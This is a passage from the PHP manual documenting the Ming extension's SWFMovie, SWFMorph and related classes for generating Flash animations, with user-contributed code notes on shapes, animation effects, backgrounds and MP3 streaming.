  $s->setLine(0,0,0,0);  // changed from (60,0,0,0)
  $s->setLeftFill($s->addFill($rbg, $gbg, $bbg));  // new color to match
  $s->movePenTo(0,-1000);
  $s->drawLine(1000,1000);
  $s->drawLine(-1000,1000);
  $s->drawLine(-1000,-1000);
  $s->drawLine(1000,-1000);

  $m = new SWFMovie();
  $m->setDimension(6000,4000);
  $m->setBackground($rbg, $gbg, $bbg);

  $i = $m->add($p);
  $i->moveTo(3000,2000);

  for ($r=0.0; $r<=1.0; $r+=0.1) {
    $i->setRatio($r);
    $m->nextFrame();
  }
  $m->add(new SWFAction("stop();"));
  $m->nextFrame();

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>


Gets a handle to the starting shape

  • « SWFMorph::__construct
  • SWFMorph::getShape2 »
  • PHP Manual
  • SWFMorph
  • Gets a handle to the starting shape

SWFMorph::getShape1

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMorph::getShape1 — Gets a handle to the starting shape

Description

SWFShape SWFMorph::getShape1 ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Gets the morph's starting shape.

Return Values

Returns a SWFShape object.

See Also

  • SWFMorph::getShape2() - Gets a handle to the ending shape

User Contributed Notes

There are no user contributed notes for this page.


Gets a handle to the ending shape

  • « SWFMorph::getShape1
  • SWFMovie »
  • PHP Manual
  • SWFMorph
  • Gets a handle to the ending shape

SWFMorph::getShape2

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMorph::getShape2 — Gets a handle to the ending shape

Description

SWFShape SWFMorph::getShape2 ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Gets the morph's ending shape.

Return Values

Returns a SWFShape object.

See Also

  • SWFMorph::getShape1() - Gets a handle to the starting shape

User Contributed Notes

There are no user contributed notes for this page.


The SWFMovie class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

SWFMovie is a movie object representing an SWF movie.

Class synopsis

SWFMovie {
/* Methods */
mixed add ( object $instance )
void addExport ( SWFCharacter $char , string $name )
mixed addFont ( SWFFont $font )
__construct ([ int $version ] )
SWFSprite importChar ( string $libswf , string $name )
SWFFontChar importFont ( string $libswf , string $name )
void labelFrame ( string $label )
void nextFrame ( void )
int output ([ int $compression ] )
void remove ( object $instance )
int save ( string $filename [, int $compression = -1 ] )
int saveToFile ( resource $x [, int $compression = -1 ] )
void setbackground ( int $red , int $green , int $blue )
void setDimension ( float $width , float $height )
void setFrames ( int $number )
void setRate ( float $rate )
SWFSoundInstance startSound ( SWFSound $sound )
void stopSound ( SWFSound $sound )
int streamMP3 ( mixed $mp3file [, float $skip = 0 ] )
void writeExports ( void )
}

Table of Contents

  • SWFMovie::add — Adds any type of data to a movie
  • SWFMovie::addExport — Description
  • SWFMovie::addFont — Description
  • SWFMovie::__construct — Creates a new movie object, representing an SWF version 4 movie
  • SWFMovie::importChar — Description
  • SWFMovie::importFont — Description
  • SWFMovie::labelFrame — Labels a frame
  • SWFMovie::nextFrame — Moves to the next frame of the animation
  • SWFMovie::output — Dumps your lovingly prepared movie out
  • SWFMovie::remove — Removes the object instance from the display list
  • SWFMovie::save — Saves the SWF movie in a file
  • SWFMovie::saveToFile — Description
  • SWFMovie::setbackground — Sets the background color
  • SWFMovie::setDimension — Sets the movie's width and height
  • SWFMovie::setFrames — Sets the total number of frames in the animation
  • SWFMovie::setRate — Sets the animation's frame rate
  • SWFMovie::startSound — Description
  • SWFMovie::stopSound — Description
  • SWFMovie::streamMP3 — Streams a MP3 file
  • SWFMovie::writeExports — Description

User Contributed Notes

mark omohundro, ajamyajax dot com 06-Apr-2009 05:47
<?php
// php ming 'challenge response' style text to graphics routine --
// (example only; any use for input validation is up to you, however
//  this image can be displayed on text pages in an html iframe)

  $f = new SWFFont("Bitstream Vera Serif.fdb");

  $m = new SWFMovie();
  $m->setDimension(500, 150);
  $m->setBackground(255, 255, 255);

  for ($r=0; $r < 6; $r++) {
    // random char selected from range: '2-9', 'A-Z', 'a-z'
    switch (rand(0,2)) {
      case 0:
        $c = chr(rand(50,57));
        break;
      case 1:
        $c = chr(rand(65,90));
        break;
      case 2:
        $c = chr(rand(97,122));
        break;
    }
    $p = convertchar($c);
    $i = $m->add($p);
  }
  $i->setDepth(1);

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

<?php
  function convertchar($txt) {
    global $f;
    static $x=10, $y=5;

    $s = new SWFShape();
    $s->setLine(rand(0,1),125,125,200); // (line weight, r, g, b)
    $s->drawLine(rand(15,25),0);

    $t = new SWFText();
    $t->setFont($f);
    $t->setColor(15, 15, 195);
    $t->setHeight(40);
    $t->addString($txt);

    $p = new SWFSprite();
    $is = $p->add($s);

    $it = $p->add($t);

    $is->move($x,$y);  // lines thru char
    $it->move($x,$y+8);
    $x+=75;

    // all chars adjusted in a slightly random manner
    $rs = rand(-1,1);
    for ($n=0; $n < 3; $n++) {
      $it->scaleTo($n, 1);
      $is->scaleTo($n, 1);

      $it->rotate($rs);
      $is->rotate($rs);

      $it->skewx(-$rs/10);
      $is->skewx(-$rs/10);

      $it->skewy($rs/10);
      $is->skewy($rs/10);
      $p->nextframe();
    }

    $p->add(new SWFAction("stop();"));
    $p->nextFrame();
    return $p;
  }
?>
mark omohundro, ajamyajax dot com 27-Feb-2009 03:33
<?php
// php ming swf flash movie example #2 --
// this routine displays several wipe/fade transitional effects

  $f = new SWFFont("Bitstream Vera Serif.fdb");

  $m = new SWFMovie();
  $m->setDimension(640, 480);
  $m->setBackground(0, 255, 153);
  $m->setRate(9);

  $p = movieclip("First...", 0, 255, 255, 100, 50, 25, 7);
  $i = $m->add($p);
  $p = movieclip("Second...", 102, 0, 102, 100, 170, 18, 5);
  $i = $m->add($p);
  $p = movieclip("Third...", 255, 0, 51, 100, 290, 30, 6);
  $i = $m->add($p);

//  $m->save("wfeffect.swf");

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

<?php
  function movieclip($txt, $r, $g, $b, $x, $y, $sv, $mv) {
    global $f;

    $s = new SWFShape();
    $s->setLine(1,0,0,255); // (line weight, r, g, b)
    $s->setRightFill(255,255,0);
    $s->drawLine(170,0);
    $s->drawLine(0,60);
    $s->drawLine(-170,0);
    $s->drawLine(0,-60);

    $t = new SWFText();
    $t->setFont($f);
    $t->setColor($r, $g, $b);
    $t->setHeight(17);
    $t->addString($txt);

    $p = new SWFSprite();
    $is = $p->add($s);
    // works with images also:
//    $is = $p->add(new SWFBitMap(fopen("/images/yourbmp.jpg", "rb")));

    $it = $p->add($t);

    $is->moveTo($x, $y);
    $it->moveTo($x+10, $y+20);

    // adjust movement left with a compensating move
    // right ($i->move()), to change look of this effect:
    // note: setting the scaleTo() $y parameter to 0 didn't help(?)
    // fixed in later versions?  only tested with Ming 0.3beta1.
    $scaleLeftValue = $sv;
    $moveRightValue = $scaleLeftValue/$mv;

    for ($n=1; $n < $scaleLeftValue; $n++) {
      $is->scaleTo(1-($n/$scaleLeftValue), 1);
      $it->scaleTo(1-($n/$scaleLeftValue), 1);
      $is->move($moveRightValue, 0);

      // fade text color to add to effect:
      if ($n <= 10) {
        $it->addColor(10*$n, 10*$n, 10*$n);
      }
      // try to keep text in bounds
      if ($n < $scaleLeftValue - 2) {
        $it->move($moveRightValue, 0);
      }
      $p->nextframe();
    }
    $p->remove($is);  // remove() causes item to disappear
    $p->remove($it);  // which is exactly what we want here
    $p->nextFrame();

    $p->add(new SWFAction("stop();"));
    $p->nextFrame();
    return $p;
  }
?>
mark omohundro, ajamyajax dot com 26-Feb-2009 04:54
<?php
// php ming swf flash movie example --
// this routine simply adds a shadow, text, and movement to a rectangle shape.
// for a dissolve effect using swfmorph, see this add'l note:
// http://www.php.net/manual/en/function.swfmorph.construct.php

$lineweight = 3;
$linered = 102;
$linegreen = 102;
$lineblue = 255;

$fillred = 204;
$fillgreen = 204;
$fillblue = 255;
$rectlinelen = 200;

$shadowred = 153;
$shadowgreen = 153;
$shadowblue = 153;
$shadowoffset = 3;

$x = 100;
$y = 150;

$m = new SWFMovie();
$m->setDimension(640,480);
$m->setBackground(235,235,235);
$m->setRate(65);

$is = $m->add(shadowrectShape(true));
$i = $m->add(rectShape(true));

$text = "Shadow Play...";
$its = $m->add(textField($text, 15, $shadowred, $shadowgreen, $shadowblue));
$it = $m->add(textField($text, 15, $linered-25, $linegreen, $lineblue));

$is->moveTo($x+$shadowoffset,$y+$shadowoffset);
$i->moveTo($x,$y);  // starting x,y for rectangle
$its->moveTo($x+15+1,$y+15+1);  // only a minimal shadow for text...
$it->moveTo($x+15,$y+15);

for ($n=0; $n < 75; $n++) {
  $is->move(2.05, 0.05);  // rectangle's shadow, lengthens as it moves
  $i->move(2,0);  // original rectangle
  $its->move(2, 0.01);  // text shadow
  $it->move(2,0);  // text
  $m->nextFrame();
}

$m->add(new SWFAction("stop();"));
$m->nextFrame();

// $m->save("shadow.swf");

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

<?php
function rectShape($addfill) {
  global $lineweight, $linered, $linegreen, $lineblue;
  global $fillred, $fillgreen, $fillblue, $rectlinelen;

  $s = new SWFShape();
  $s->setLine($lineweight, $linered, $linegreen, $lineblue);
  if ($addfill) {
    $s->setRightFill($s->addFill($fillred, $fillgreen, $fillblue));
  }
  $s->drawLine($rectlinelen, 0);
  $s->drawLine(0, $rectlinelen);
  $s->drawLine(-$rectlinelen, 0);
  $s->drawLine(0, -$rectlinelen);
  return $s;
}

function shadowrectShape($addfill) {
  global $lineweight, $rectlinelen;
  global $shadowoffset, $shadowred, $shadowgreen, $shadowblue;

  $s = new SWFShape();
  $s->setLine($lineweight, $shadowred, $shadowgreen, $shadowblue);
  if ($addfill) {
    $s->setRightFill($s->addFill($shadowred, $shadowgreen, $shadowblue));
  }
  $s->drawLine($rectlinelen+$shadowoffset, 0);
  $s->drawLine(0, $rectlinelen+$shadowoffset);
  $s->drawLine(-$rectlinelen-$shadowoffset, 0);
  $s->drawLine(0, -$rectlinelen-$shadowoffset);
  return $s;
}

function textField($strtext, $intheight, $textred, $textgreen, $textblue) {
  $t = new SWFTextField();
  $t->setFont(new SWFFont('Default'));
// or try this instead:
//  $t = new SWFText();
//  $f = new SWFFont("Bitstream Vera Sans.fdb");
//  $t->setFont($f);
  $t->setColor($textred, $textgreen, $textblue);
  $t->addString($strtext);
  $t->setHeight($intheight);
  return $t;
}
?>
askypcom at gmail dot com 13-Jan-2009 04:16
<?php
$myShape1=new SWFShape();
$myShape1->setLine(5,0,0,255);
$myShape1->setRightFill(255,255,0);
$myShape1->movePen(-30,-30);
$myShape1->drawLine(60,0);
$myShape1->drawLine(0,60);
$myShape1->drawLine(-60,0);
$myShape1->drawLine(0,-60);
$myMovie=new SWFMovie();
$myMovie->setDimension(460,80);
$myMovie->setBackground(255,0,0);
$movingSquare=$myMovie->add($myShape1);
$movingSquare->moveTo(40,40);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->save("lesson.swf");
?>

Sachin Akhani
http://www.askyp.com


Adds any type of data to a movie

  • « SWFMovie
  • SWFMovie::addExport »
  • PHP Manual
  • SWFMovie
  • Adds any type of data to a movie

SWFMovie::add

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::add — Adds any type of data to a movie

Description

mixed SWFMovie::add ( object $instance )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Adds an SWF object instance to the current movie.

Parameters

instance

Any type of object instance, like SWFShape, SWFText, SWFFont.

Return Values

For displayable types (shape, text, button, sprite), this returns an SWFDisplayItem, a handle to the object in a display list. Thus, you can add the same shape to a movie multiple times and get separate handles back for each separate instance.

See Also

  • SWFMovie::remove() - Removes the object instance from the display list

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFMovie::add
  • SWFMovie::addFont »
  • PHP Manual
  • SWFMovie
  • Description

SWFMovie::addExport

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::addExport —

Description

void SWFMovie::addExport ( SWFCharacter $char , string $name )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFMovie::addExport
  • SWFMovie::__construct »
  • PHP Manual
  • SWFMovie
  • Description

SWFMovie::addFont

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::addFont —

Description

mixed SWFMovie::addFont ( SWFFont $font )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new movie object, representing an SWF version 4 movie

  • « SWFMovie::addFont
  • SWFMovie::importChar »
  • PHP Manual
  • SWFMovie
  • Creates a new movie object, representing an SWF version 4 movie

SWFMovie::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::__construct — Creates a new movie object, representing an SWF version 4 movie

Description

SWFMovie::__construct ([ int $version ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates a new movie object, representing an SWF movie.

Parameters

version

The desired SWF version. Default is 4.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFMovie::__construct
  • SWFMovie::importFont »
  • PHP Manual
  • SWFMovie
  • Description

SWFMovie::importChar

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::importChar —

Description

SWFSprite SWFMovie::importChar ( string $libswf , string $name )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFMovie::importFont() - Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFMovie::importChar
  • SWFMovie::labelFrame »
  • PHP Manual
  • SWFMovie
  • Description

SWFMovie::importFont

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::importFont —

Description

SWFFontChar SWFMovie::importFont ( string $libswf , string $name )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFMovie::importChar() - Description

User Contributed Notes

There are no user contributed notes for this page.


Labels a frame

  • « SWFMovie::importFont
  • SWFMovie::nextFrame »
  • PHP Manual
  • SWFMovie
  • Labels a frame

SWFMovie::labelFrame

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::labelFrame — Labels a frame

Description

void SWFMovie::labelFrame ( string $label )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Moves to the next frame of the animation

  • « SWFMovie::labelFrame
  • SWFMovie::output »
  • PHP Manual
  • SWFMovie
  • Moves to the next frame of the animation

SWFMovie::nextFrame

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::nextFrame — Moves to the next frame of the animation

Description

void SWFMovie::nextFrame ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Moves to the next frame of the animation.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Dumps your lovingly prepared movie out

  • « SWFMovie::nextFrame
  • SWFMovie::remove »
  • PHP Manual
  • SWFMovie
  • Dumps your lovingly prepared movie out

SWFMovie::output

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::output — Dumps your lovingly prepared movie out

Description

int SWFMovie::output ([ int $compression ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Dumps the SWFMovie.

Don't forget to send the Content-Type HTTP header file before using this function, in order to display the movie in a browser.

Parameters

compression

The compression level can be a value between 0 and 9, defining the SWF compression similar to gzip compression.

This parameter is only available as of Flash MX (6).

Return Values

Return the number of bytes written or FALSE on error.

Examples

Example #1 Displaying your $movie in a browser

<?php
header('Content-type: application/x-shockwave-flash');
$movie->output();
?>

See Also

  • SWFMovie::save() - Saves the SWF movie in a file
  • SWFMovie::saveToFile() - Description

User Contributed Notes

There are no user contributed notes for this page.


Removes the object instance from the display list

  • « SWFMovie::output
  • SWFMovie::save »
  • PHP Manual
  • SWFMovie
  • Removes the object instance from the display list

SWFMovie::remove

(PHP 5.2.1-5.3.0, PECL ming SVN)

SWFMovie::remove — Removes the object instance from the display list

Description

void SWFMovie::remove ( object $instance )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Removes the given object instance from the display list.

Return Values

No value is returned.

See Also

  • SWFMovie::add() - Adds any type of data to a movie

User Contributed Notes

There are no user contributed notes for this page.


Saves the SWF movie in a file

  • « SWFMovie::remove
  • SWFMovie::saveToFile »
  • PHP Manual
  • SWFMovie
  • Saves the SWF movie in a file

SWFMovie::save

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::save — Saves the SWF movie in a file

Description

int SWFMovie::save ( string $filename [, int $compression = -1 ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Saves the SWF movie to the specified filename.

Parameters

filename

The path to the saved SWF document.

compression

The compression level can be a value between 0 and 9, defining the SWF compression similar to gzip compression.

This parameter is only available as of Flash MX (6).

Return Values

Return the number of bytes written or FALSE on error.

See Also

  • SWFMovie::output() - Dumps your lovingly prepared movie out
  • SWFMovie::saveToFile() - Description

User Contributed Notes

jerryscript at aol dot com 05-Jan-2004 03:43
Ming 0.3 (current CVS) allows you to set the compression level 0-9 when saving to file.  Use 9 for MX style compression.

<?php $myMovie->save($str_filename,9); ?>


Description

  • « SWFMovie::save
  • SWFMovie::setbackground »
  • PHP Manual
  • SWFMovie
  • Description

SWFMovie::saveToFile

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::saveToFile —

Description

int SWFMovie::saveToFile ( resource $x [, int $compression = -1 ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

X

compression

The compression level can be a value between 0 and 9, defining the SWF compression similar to gzip compression.

This parameter is only available as of Flash MX (6).

Return Values

Return the number of bytes written or FALSE on error.

See Also

  • SWFMovie::output() - Dumps your lovingly prepared movie out
  • SWFMovie::save() - Saves the SWF movie in a file

User Contributed Notes

There are no user contributed notes for this page.


Sets the background color

  • « SWFMovie::saveToFile
  • SWFMovie::setDimension »
  • PHP Manual
  • SWFMovie
  • Sets the background color

SWFMovie::setbackground

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::setbackground — Sets the background color

Description

void SWFMovie::setbackground ( int $red , int $green , int $blue )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the background color.

Why is there no rgba version? Think about it, you might want to let the HTML background show through. There's a way to do that, but it only works on IE4. Search the » http://www.macromedia.com/ site for details.

Parameters

These parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF:

red

Value of red component

green

Value of green component

blue

Value of blue component

Return Values

No value is returned.

User Contributed Notes

DerHorst at gmail dot com 27-Jul-2009 05:40
Adding the following parameter to the EMBED tag works for a few browsers or will (maybe) work in future:

wmode="transparent"

http://www.macromedia.com/support/flash/ts/documents/wmode.htm
(redirecting to http://kb2.adobe.com/cps/142/tn_14201.html )
martin lindhe 06-Feb-2006 04:25
If you specify bgcolor in the html tags embedding the flash movie, this command have no effect.

To make setBackground() have an effect, make sure you remove

<param name="bgcolor" value="#ffffff>" />

and remove bgcolor="#ffffff" part from:
<embed src="file.swf" quality="high" bgcolor="#ffffff" ...>
08-Aug-2001 12:28
here's how to make the background transparent (IE4 or higher):
<param name="wmode" value="transparent">


Sets the movie's width and height

  • « SWFMovie::setbackground
  • SWFMovie::setFrames »
  • PHP Manual
  • SWFMovie
  • Sets the movie's width and height

SWFMovie::setDimension

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::setDimension — Sets the movie's width and height

Description

void SWFMovie::setDimension ( float $width , float $height )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the movie's dimension to the specified width and height.

Parameters

width

The movie width.

height

The movie height.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the total number of frames in the animation

  • « SWFMovie::setDimension
  • SWFMovie::setRate »
  • PHP Manual
  • SWFMovie
  • Sets the total number of frames in the animation

SWFMovie::setFrames

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::setFrames — Sets the total number of frames in the animation

Description

void SWFMovie::setFrames ( int $number )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the total number of frames in the animation to the given number.

Parameters

number

The number of frames.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the animation's frame rate

  • « SWFMovie::setFrames
  • SWFMovie::startSound »
  • PHP Manual
  • SWFMovie
  • Sets the animation's frame rate

SWFMovie::setRate

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::setRate — Sets the animation's frame rate

Description

void SWFMovie::setRate ( float $rate )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the frame rate to the specified rate.

Animation will slow down if the player can't render frames fast enough- unless there's a streaming sound, in which case display frames are sacrificed to keep sound from skipping.

Parameters

rate

The frame rate, in frame per seconds.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFMovie::setRate
  • SWFMovie::stopSound »
  • PHP Manual
  • SWFMovie
  • Description

SWFMovie::startSound

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::startSound —

Description

SWFSoundInstance SWFMovie::startSound ( SWFSound $sound )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFMovie::stopSound() - Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFMovie::startSound
  • SWFMovie::streamMP3 »
  • PHP Manual
  • SWFMovie
  • Description

SWFMovie::stopSound

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::stopSound —

Description

void SWFMovie::stopSound ( SWFSound $sound )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

See Also

  • SWFMovie::startSound() - Description

User Contributed Notes

There are no user contributed notes for this page.


Streams a MP3 file

  • « SWFMovie::stopSound
  • SWFMovie::writeExports »
  • PHP Manual
  • SWFMovie
  • Streams a MP3 file

SWFMovie::streamMP3

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::streamMP3 — Streams a MP3 file

Description

int SWFMovie::streamMP3 ( mixed $mp3file [, float $skip = 0 ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Streams the given MP3 file mp3file.

This method is not very robust in dealing with oddities (can skip over an initial ID3 tag, but that's about it).

Note that the movie isn't smart enough to put enough frames in to contain the entire mp3 stream- you'll have to add (length of song * frames per second) frames to get the entire stream in.

Parameters

mp3file

Can be a file pointer returned by fopen() or the MP3 data, as a binary string.

skip

Number of seconds to skip.

Return Values

Return number of frames.

Changelog

Version | Description
5.2.0 | skip added

Examples

Example #1 Streaming example

<?php
$m = new SWFMovie();
$m->setRate(12.0);
$m->streamMp3(file_get_contents("distortobass.mp3"));
// use your own MP3

// The file is 11.85 seconds at 12.0 fps = 142 frames
$m->setFrames(142);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

aaronmason85 at gmail dot com 19-May-2009 06:44
Hey all,

For those using Ming 0.3 (like me), there is a way to calculate the length of the MP3 you are using.  It might be a bit iffy for VBR files, but it seems to work well for the files I've tested thus far.  The process of calculating the frame length (and size) is detailed at http://www.mpgedit.org/mpgedit/mpeg_format/mpeghdr.htm

<?php

function get_mp3_len ($file) {

        $rate1=array(0, 32, 64, 96, 128, 160, 192, 224, 256, 288, 320, 352, 384, 416, 448, "bad");
        $rate2=array(0, 32, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, "bad");
        $rate3=array(0, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, "bad");
        $rate4=array(0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, "bad");
        $rate5=array(0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, "bad");

        $bitrate=array(
                '1'  => $rate5,
                '2'  => $rate5,
                '3'  => $rate4,
                '9'  => $rate5,
                '10' => $rate5,
                '11' => $rate4,
                '13' => $rate3,
                '14' => $rate2,
                '15' => $rate1
        );

        $sample=array(
                '0'  => 11025,
                '1'  => 12000,
                '2'  => 8000,
                '8'  => 22050,
                '9'  => 24000,
                '10' => 16000,
                '12' => 44100,
                '13' => 48000,
                '14' => 32000
        );

        $fd=fopen($file, 'rb');
        $header=fgets($fd, 5);
        fclose($fd);

        $bits="";
        while (strlen($header) > 0) {

                //var_dump($header);
                $bits.=str_pad(base_convert(ord($header{0}), 10, 2), 8, '0', STR_PAD_LEFT);
                $header=substr($header, 1);
        }

        $bits=substr($bits, 11); // lets strip the frame sync bits first.

        $version=substr($bits, 0, 2); // this gives us the version
        $layer=base_convert(substr($bits, 2, 2), 2, 10); // this gives us the layer
        $verlay=base_convert(substr($bits, 0, 4), 2, 10); // this gives us both

        $rateidx=base_convert(substr($bits, 5, 4), 2, 10); // this gives us the bitrate index
        $sampidx=base_convert($version.substr($bits, 9, 2), 2, 10); // this gives the sample index
        $padding=substr($bits, 11, 1); // are we padding frames?

        $rate=$bitrate[$verlay][$rateidx];
        $samp=$sample[$sampidx];

        $framelen=0;
        $framesize=384; // Size of the frame in samples
        if ($layer == 3) { // layer 1?
                $framelen=(12 * ($rate * 1000) / $samp + $padding) * 4;
        } else { // Layer 2 and 3
                $framelen=144 * ($rate * 1000) / $samp + $padding;
                $framesize=1152;
        }

        $headerlen=4 + ($bits{4} == 0 ? '2' : '0');

        return (filesize($file) - $headerlen) / $framelen / ($samp / $framesize);
}

?>
Richard Trigaux 25-Feb-2009 06:30
Seems that this function only handles some MP3 files with specified sample rates and not others. 44100 and 21050 work. With the lame MP3 converter, this is obtained with setting the "bit rate" at 112 (average compression/quality), mono or stereo. Other values may work, probably multiples, I did not tried all.
diana 08-Mar-2008 12:05
If you need to play an mp3 fully you need to do something like:

<?php
$len = $m->streamMp3(fopen("sound.mp3", "r"));
$m->setFrames($len);
?>

This works only in Ming 0.4. I'm not 100% sure but it doesn't sound to work on Ming 0.3
boreckiwebs at gmail dot com 24-Aug-2006 06:54
if you want to control the sound use these functions like this:

<?php

$m -> add(new SWFAction('
 stop(); // pauses the song
 goToAndStop(1); // stops the song, and goes back to the beginning
 play(); // plays the song from current position
'));

?>

i hope this is helpful
boo at php dot net 21-Sep-2002 12:02
Don't forget to use fopen function in example above !

Use

<?php
$m->streamMp3(fopen("distortobass.mp3", "rb"));
instead of
$m->streamMp3("distortobass.mp3");
?>

I hope this is useful for you :)
mued at muetdhiver dot org 18-May-2001 06:39
a nice feature to handle Id3tag is to get support from Unix mp3info command into a returning exec parsing


Description

  • « SWFMovie::streamMP3
  • SWFPrebuiltClip »
  • PHP Manual
  • SWFMovie
  • Description

SWFMovie::writeExports

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::writeExports —

Description

void SWFMovie::writeExports ( void )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The SWFPrebuiltClip class

(PHP 5.0.5-5.3.0, PECL ming SVN)

Introduction

SWFPrebuiltClip.

Class synopsis

SWFPrebuiltClip {
/* Methods */
__construct ( mixed $file )
}

Table of Contents

  • SWFPrebuiltClip::__construct — Returns a SWFPrebuiltClip object

User Contributed Notes

There are no user contributed notes for this page.


Returns a SWFPrebuiltClip object

  • « SWFPrebuiltClip
  • SWFShape »
  • PHP Manual
  • SWFPrebuiltClip
  • Returns a SWFPrebuiltClip object

SWFPrebuiltClip::__construct

(PHP 5.0.5-5.3.0, PECL ming SVN)

SWFPrebuiltClip::__construct — Returns a SWFPrebuiltClip object

Description

SWFPrebuiltClip::__construct ( mixed $file )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


The SWFShape class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

SWFShape.

Class synopsis

SWFShape {
/* Methods */
SWFFill addFill ( int $red , int $green , int $blue [, int $alpha = 255 ] )
__construct ( void )
void drawArc ( float $r , float $startAngle , float $endAngle )
void drawCircle ( float $r )
int drawCubic ( float $bx , float $by , float $cx , float $cy , float $dx , float $dy )
int drawCubicTo ( float $bx , float $by , float $cx , float $cy , float $dx , float $dy )
int drawCurve ( float $controldx , float $controldy , float $anchordx , float $anchordy [, float $targetdx ], float $targetdy )
int drawCurveTo ( float $controlx , float $controly , float $anchorx , float $anchory [, float $targetx ], float $targety )
void drawGlyph ( SWFFont $font , string $character [, int $size ] )
void drawLine ( float $dx , float $dy )
void drawLineTo ( float $x , float $y )
void movePen ( float $dx , float $dy )
void movePenTo ( float $x , float $y )
void setLeftFill ( SWFGradient $fill )
